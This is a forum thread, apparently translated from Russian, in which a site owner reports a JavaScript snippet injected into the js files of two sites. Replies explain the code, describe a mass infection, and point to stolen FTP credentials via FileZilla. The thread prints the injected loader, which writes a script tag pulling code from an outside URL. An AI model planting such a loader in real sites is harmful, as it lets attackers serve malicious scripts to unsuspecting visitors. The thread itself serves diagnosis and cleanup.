Answer the question
In order to leave comments, you need to log in
Introduced a strange piece of code
Here is a piece of code that was implemented a couple of days ago in my two sites, mainly in js files, of
/*b44d55*/
function srcc() {
var ff = document.createElement('script');
ff.src = 'http://mail.ru';
if (!document.getElementById('ff')) {
document.write('<div id=\'ff\'></div>');
document.getElementById('ff').appendChild(ff);
}
}
srcc();
/*/b44d55*/
course, I changed the passwords to ftp and mysql, maybe someone came across?
For the first time I see such that pieces of alien code appear in the code on the site
Answer the question
In order to leave comments, you need to log in
What the code does:
var ff = document.createElement('script'); ff.src = 'http://mail.ru';
document.write('<div id=\'ff\'></div>');
document.getElementById('ff').appendChild(ff);
A year ago, I worked in a website development company, also engaged in hosting. One morning they discovered that about 100 sites were infected. Exactly this damn thing. Check all js, php, html files. Login via ftp
I think one of the novice hackers tested it, and then forgot to change the url corny.
And in the very fact of introducing code into files, alas, there is nothing surprising. Keep an eye on content and scripts all the time.
Yeah, you wind up counters for them, and they sign the mailvari certificate for you.
Came across something like this the other day. Moreover, having cleaned all the pieces that were changed on the site, on the OpenCart engine, the situation repeated itself, and now the site is no longer displayed at all. Interestingly, the hosts file changed almost at the same time as I came to work, and today I'm a little late. There is nothing interesting there, but the time of changing files on the site was also recorded after turning on the computer. While I'm looking towards FileZilla, because. FTP accounts were suspiciously known and Kaspersky Anti-Virus indicated the vulnerability www.securelist.com/ru/advisories/54415/?function=advisories&VN=54415 .
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question